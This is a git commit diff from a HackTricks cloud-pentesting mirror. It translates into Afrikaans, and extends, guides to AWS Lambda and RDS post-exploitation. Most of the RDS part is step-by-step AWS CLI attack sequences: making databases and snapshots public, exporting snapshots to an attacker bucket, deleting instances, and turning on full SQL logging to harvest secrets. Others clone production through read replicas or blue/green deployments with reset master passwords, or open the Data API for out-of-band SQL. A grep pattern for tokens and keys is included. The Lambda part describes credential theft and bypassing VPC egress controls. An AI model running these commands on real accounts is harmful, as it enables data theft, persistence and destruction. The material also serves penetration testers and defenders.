mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 20:54:14 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Translator
@@ -1,32 +1,32 @@
|
||||
# AWS - Lambda Post Exploitation
|
||||
# AWS - Lambda Post-uitbuiting
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Vir meer inligting, sien:
|
||||
Vir meer inligting sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
### Eksfiltreer Lambda Toegangsbewyse
|
||||
|
||||
Lambda gebruik environment variables om credentials tydens runtime in te voeg. As jy toegang daartoe kan kry (deur `/proc/self/environ` te lees of die kwesbare funksie self te gebruik), kan jy hulle self gebruik. Hulle leef in die default variable names `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
Lambda gebruik omgewingveranderlikes om toegangsbewyse tydens uitvoering in te voeg. As jy toegang daartoe kry (deur `/proc/self/environ` te lees of die kwesbare funksie self te gebruik), kan jy dit self gebruik. Hulle is gestoor in die standaard veranderlike name `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
|
||||
By verstek het hierdie toegang om te skryf na 'n cloudwatch log group (die naam waarvan gestoor is in `AWS_LAMBDA_LOG_GROUP_NAME`), asook om willekeurige log groups te skep; lambda-funksies het egter dikwels meer permissies toegeken gebaseer op hul beoogde gebruik.
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
### Steel Ander se Lambda URL-versoeke
|
||||
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
As 'n aanvaller op een of ander manier RCE binne 'n Lambda kry, sal hy ander gebruikers se HTTP-versoeke na die Lambda kan steel. As die versoeke sensitiewe inligting bevat (cookies, toegangsbewyse...) kan hy dit steel.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
### Steel Ander se Lambda URL-versoeke & Extensions-versoeke
|
||||
|
||||
Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en in die Lambda te bly voortbestaan, sowel as versoeke te steel en te wysig.
|
||||
Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en volhoubaar in die Lambda te bly, asook versoeke te steel en te verander.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +34,7 @@ Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Forceer 'n Lambda-funksie uit 'n beperkte VPC deur sy konfigurasie by te werk met 'n leë VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Die funksie sal dan in die Lambda-managed networking plane loop, herwin uitgaande internettoegang en egress controls wat deur private VPC subnets without NAT afgedwing word omseil.
|
||||
Dwing 'n Lambda-funksie uit 'n beperkte VPC deur sy konfigurasie by te werk met 'n leë VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Die funksie sal dan in die Lambda-beheerde netwerkvlak loop, herwin uitgaande internettoegang en egress-beheer wat deur private VPC-subnets sonder NAT afgedwing word omseil.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Benut `lambda:PutRuntimeManagementConfig` om 'n funksie aan 'n spesifieke runtime-weergawe te pin (Manual) of om opdaterings te vries (FunctionUpdate). Dit behou kompatibiliteit met malicious layers/wrappers en kan die funksie op 'n verouderde, kwesbare runtime hou om exploitation en long-term persistence te vergemaklik.
|
||||
Misbruik `lambda:PutRuntimeManagementConfig` om 'n funksie aan 'n spesifieke runtime-weergawe vas te pen (Manual) of om opdaterings te vries (FunctionUpdate). Dit behou versoenbaarheid met kwaadwillige layers/wrappers en kan die funksie op 'n verouderde, kwesbare runtime laat bly om eksploitasie en langtermynpersistensie te vergemaklik.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Benut `lambda:UpdateFunctionConfiguration` se gevorderde logging controls om 'n funksie se logs na 'n aanvaller-gekose CloudWatch Logs log group te herlei. Dit werk sonder om kode of die execution role te verander (die meeste Lambda roles sluit reeds `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). As die funksie secrets/request bodies uitdruk of crash met stack traces, kan jy dit uit die nuwe log group versamel.
|
||||
Misbruik `lambda:UpdateFunctionConfiguration` se gevorderde logbeheer om 'n funksie se logs na 'n deur die aanvaller gekose CloudWatch Logs log group om te lei. Dit werk sonder om kode of die uitvoeringrol te verander (die meeste Lambda-rolle sluit reeds `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). As die funksie geheime/versoekliggame druk of met stack traces crash, kan jy dit uit die nuwe log group versamel.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Skakel 'n private Lambda Function URL na 'n publieke ongeauthentiseerde endpoint deur die Function URL AuthType na NONE te stel en 'n resource-based policy aan te heg wat lambda:InvokeFunctionUrl aan almal toeken. Dit maak anonieme invocation van interne funksies moontlik en kan sensitiewe backend-operasies openbaar maak.
|
||||
Skakel 'n private Lambda Function URL om in 'n openbare ongemagtigde eindpunt deur die Function URL AuthType na NONE te skuif en 'n resource-based policy aan te heg wat lambda:InvokeFunctionUrl aan almal toeken. Dit stel anonieme aanroep van interne funksies in staat en kan sensitiewe backend-operasies blootlê.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,15 +66,15 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Benut `UpdateEventSourceMapping` om die target Lambda function van 'n bestaande Event Source Mapping (ESM) te verander sodat rekords van DynamoDB Streams, Kinesis, of SQS aan 'n aanvaller-beheerde funksie gestuur word. Dit lei live data stilweg af sonder om producers of die oorspronklike funksiekode aan te raak.
|
||||
Misbruik `UpdateEventSourceMapping` om die teiken-Lambda-funksie van 'n bestaande Event Source Mapping (ESM) te verander sodat rekords van DynamoDB Streams, Kinesis, of SQS na 'n aanvallerbeheerde funksie gelewer word. Dit lei stilweg regstreekse data af sonder om produsente of die oorspronklike funksiekode te raak.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
### AWS Lambda – EFS Mount Injection data eksfiltrasie
|
||||
|
||||
Benut `lambda:UpdateFunctionConfiguration` om 'n bestaande EFS Access Point aan 'n Lambda te heg, en deploy dan eenvoudige kode wat lêers van die gemounte pad lys/lees om gedeelde secrets/config te exfiltrate wat die funksie voorheen nie kon bereik nie.
|
||||
Misbruik `lambda:UpdateFunctionConfiguration` om 'n bestaande EFS Access Point aan 'n Lambda te heg, en implementeer dan triviale kode wat lêers vanaf die gemonteerde pad lys/lees om gedeelde geheime/konfigurasies te eksfiltreer wat die funksie voorheen nie kon bereik nie.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - RDS Post Exploitation
|
||||
# AWS - RDS Post-uitbuiting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Vir meer inligting kyk:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Vir meer inligting kyk:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
As die aanvaller genoeg toestemmings het, kan hy 'n **DB publiek toeganklik maak** deur 'n snapshot van die DB te skep, en daarna 'n publiek toeganklike DB vanaf daardie snapshot te herstel.
|
||||
As die aanvaller genoeg toestemmings het, kan hy 'n **DB openbaar toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n openbaar toeganklike DB uit daardie snapshot te herstel.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,7 +40,7 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
'n aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB skep** en dit **publiek** **beskikbaar** maak. Daarna kan hy net in sy eie rekening 'n DB uit daardie snapshot skep.
|
||||
'n aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB skep** en dit **openlik** **beskikbaar** maak. Dan kan hy net in sy eie rekening 'n DB uit daardie snapshot skep.
|
||||
|
||||
As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **ander** geskepte snapshots **publiek** maak.
|
||||
```bash
|
||||
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **dele van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of toegangsbewyse per ongeluk aangeteken word, kan die aanvaller hierdie inligting moontlik gebruik om hul bevoegdhede te eskaleer of om ongemagtigde aksies uit te voer.
|
||||
'n aanvaller met die `rds:DownloadDBLogFilePortion`-toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of inlogbewyse per ongeluk aangeteken word, kan die aanvaller hierdie inligting moontlik gebruik om hul voorregte te verhoog of om ongemagtigde aksies uit te voer.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
@@ -61,40 +61,40 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
'n aanvaller met hierdie toestemmings kan **DoS bestaande RDS instances**.
|
||||
’n aanvaller met hierdie permissies kan **DoS existing RDS instances**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potensiële impak**: Uitwissing van bestaande RDS-instansies en moontlike verlies van data.
|
||||
**Potensiële impak**: Verwydering van bestaande RDS-instanse en moontlike dataverlies.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
'n aanvaller met hierdie toestemming kan **'n snapshot van 'n RDS-instansie na 'n S3-bucket eksporteer**. As die aanvaller beheer oor die bestemming S3-bucket het, kan hulle moontlik toegang kry tot sensitiewe data binne die geëksporteerde snapshot.
|
||||
'n attacker met hierdie toestemming kan **export an RDS instance snapshot to an S3 bucket**. As die attacker beheer oor die bestemming S3 bucket het, kan hulle moontlik toegang kry tot sensitiewe data in die uitgevoerde snapshot.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potensiële impak**: Toegang tot sensitiewe data in die uitgeëksporteerde snapshot.
|
||||
**Potensiële impak**: Toegang tot sensitiewe data in die uitgevoerde snapshot.
|
||||
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Kruis-Region Outomatiese Rugsteunreplikasie vir Stil Herstel (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Misbruik cross-Region automated backups replication om stilweg 'n RDS-instansie se automated backups in 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB publiek toeganklik maak en die master-wagwoord herstel/reset om data out-of-band te bekom in 'n Region wat verdedigers moontlik nie monitor nie.
|
||||
Misbruik kruis-Region outomatiese rugsteunreplikasie om stilweg 'n RDS-instansie se outomatiese rugsteune na 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB openbaar toeganklik maak en die master-wagwoord terugstel om data buite-band te bekom in 'n Region wat verdedigers moontlik nie monitor nie.
|
||||
|
||||
Benodigde permissies (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in die bestemming Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in die bestemming Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in die bestemming Region
|
||||
- `rds:ModifyDBInstance` in die bestemming Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (opsionele opruiming)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (om die herstelde DB bloot te stel)
|
||||
|
||||
Impak: Persistensie en data-ekfiltrasie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit publiek bloot te stel met deur die aanvaller beheerde inlogbesonderhede.
|
||||
Impak: Persistensie en data-ekssfiltrasie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit openbaar te stel met deur die aanvaller beheerde inlogbesonderhede.
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (vervang plekhouers)</summary>
|
||||
<summary>End-to-end CLI (vervang plaashouers)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,4 +163,445 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Aktiveer volledige SQL-logging via DB-parametergroepe en eksfiltreer via RDS-log APIs
|
||||
|
||||
Misbruik `rds:ModifyDBParameterGroup` saam met RDS log download APIs om alle SQL-opdragte wat deur toepassings uitgevoer word te vang (geen DB engine credentials benodig nie). Skakel engine SQL-logging in en haal die loglêers via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om query's te versamel wat geheime/PII/JWTs kan bevat.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon target en huidige parametergroep
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Verseker dat 'n aangepaste DB parameter group aangeheg is (kan nie die standaard wysig nie)
|
||||
- As die instansie reeds 'n aangepaste DB parameter group gebruik, hergebruik die naam daarvan in die volgende stap.
|
||||
- Anders skep en heg een aan wat by die enjinfamilie pas:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--db-parameter-group-family postgres16 \
|
||||
--description "HT logging"
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <DB> \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Skakel uitgebreide SQL-logging in
|
||||
- MySQL-enjins (onmiddellik / geen herstart):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
|
||||
# Optional extras:
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (herbegin vereis):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
|
||||
# Optional to log duration for every statement:
|
||||
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
|
||||
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Laat die workload loop (of genereer queries). Statements sal geskryf word na engine file logs
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Ontdek en laai logs af (geen DB creds benodig)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
|
||||
aws rds download-db-log-file-portion \
|
||||
--db-instance-identifier <DB> \
|
||||
--log-file-name general/mysql-general.log \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Ontleed offline vir gevoelige data
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Voorbeeldbewys (gesensureer):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Opruiming
|
||||
- Stel parameters terug na verstek en herbegin indien nodig:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
|
||||
|
||||
# PostgreSQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impak: Post-exploitation toegang tot data deur alle application SQL statements via AWS APIs (no DB creds) vas te vang, wat moontlik secrets, JWTs en PII kan leak.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Misbruik RDS read replicas om out-of-band lees-toegang te kry sonder om die primary instance credentials aan te raak. 'n Aanvaller kan 'n read replica van 'n produksie-instansie skep, die replica se master-wagwoord terugstel (this does not change the primary), en opsioneel die replica publiek blootstel om data te exfiltrate.
|
||||
|
||||
Benodigde permissies (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (as jy dit publiekelik blootstel)
|
||||
|
||||
Impak: Lees-slegs toegang tot produksiedata via 'n replica met aanvaller-beheerde credentials; laer waarskynlikheid van opsporing aangesien die primêre ongemoeid bly en replikasie voortgaan.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
|
||||
--output table
|
||||
|
||||
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
|
||||
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
|
||||
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
|
||||
|
||||
# 3) Create the read replica (optionally public)
|
||||
aws rds create-db-instance-read-replica \
|
||||
--db-instance-identifier <REPL_ID> \
|
||||
--source-db-instance-identifier <SOURCE_DB> \
|
||||
--db-instance-class db.t3.medium \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SGID>
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 4) Reset ONLY the replica master password (primary unchanged)
|
||||
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 5) Connect and dump (use the SOURCE master username + NEW password)
|
||||
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
|
||||
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Voorbeeldbewyse (MySQL):
|
||||
- Replica DB-status: `available`, leesreplikasie: `replicating`
|
||||
- Suksesvolle konneksie met nuwe wagwoord en `@@read_only=1` wat lees-alleen replica-toegang bevestig.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Misbruik RDS Blue/Green om 'n produksie-DB te kloon in 'n deurlopend gereplikeerde, lees-alleen green-omgewing. Herstel dan die green master-kredensiale om toegang tot die data te kry sonder om die blue (prod) instansie aan te raak. Dit is meer onopvallend as snapshot sharing en omseil dikwels monitering wat slegs op die bron gefokus is.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
|
||||
|
||||
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
|
||||
|
||||
# 2) Create Blue/Green deployment (replicates blue->green continuously)
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name ht-bgd-attack \
|
||||
--source <BLUE_DB_ARN> \
|
||||
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
|
||||
|
||||
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
|
||||
aws rds describe-blue-green-deployments \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
|
||||
|
||||
# Typical green id: <blue>-green-XXXX
|
||||
|
||||
# 3) Reset the green master password (does not affect blue)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--master-user-password 'Gr33n!Exfil#1' \
|
||||
--apply-immediately
|
||||
|
||||
# Optional: expose the green for direct access (attach an SG that allows the DB port)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
|
||||
--apply-immediately
|
||||
|
||||
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
|
||||
aws rds describe-db-instances \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text
|
||||
|
||||
# Then connect with the master username and the new password and run SELECT/dumps
|
||||
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
|
||||
|
||||
# 5) Cleanup – remove blue/green and the green resources
|
||||
aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impak: Lees-alleen, maar volle databeskikbaarheid tot 'n byna regstreekse kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir sluipende data-uittrekking en aflyn-analise.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API deur die HTTP-endpoint te aktiveer + die master password terug te stel
|
||||
|
||||
Misbruik Aurora om die RDS Data API HTTP-endpoint op 'n teiken-kluster te aktiveer, die master password te herstel na 'n waarde wat jy beheer, en SQL oor HTTPS uit te voer (geen VPC-netwerkpad benodig nie). Werk op Aurora engines wat die Data API/EnableHttpEndpoint ondersteun (bv. Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impak: Omseil netwerkskeiding en eksfiltreer data via AWS APIs sonder direkte VPC-konneksie na die DB.
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (Aurora MySQL voorbeeld)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
CLUSTER_ID=<target-cluster-id>
|
||||
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
|
||||
--db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].DBClusterArn' --output text)
|
||||
|
||||
# 2) Enable Data API HTTP endpoint on the cluster
|
||||
# Either of the following (depending on API/engine support):
|
||||
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
|
||||
# or
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--enable-http-endpoint --apply-immediately
|
||||
|
||||
# Wait until HttpEndpointEnabled is True
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].HttpEndpointEnabled' --output text
|
||||
|
||||
# 3) Reset master password to attacker-controlled value
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
|
||||
# Wait until pending password change is applied
|
||||
while :; do
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
|
||||
[[ "$P" == "None" || "$P" == "null" ]] && break
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 4) Create a Secrets Manager secret for Data API auth
|
||||
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
|
||||
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
|
||||
--query ARN --output text)
|
||||
|
||||
# 5) Prove out-of-band SQL via HTTPS using rds-data
|
||||
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
|
||||
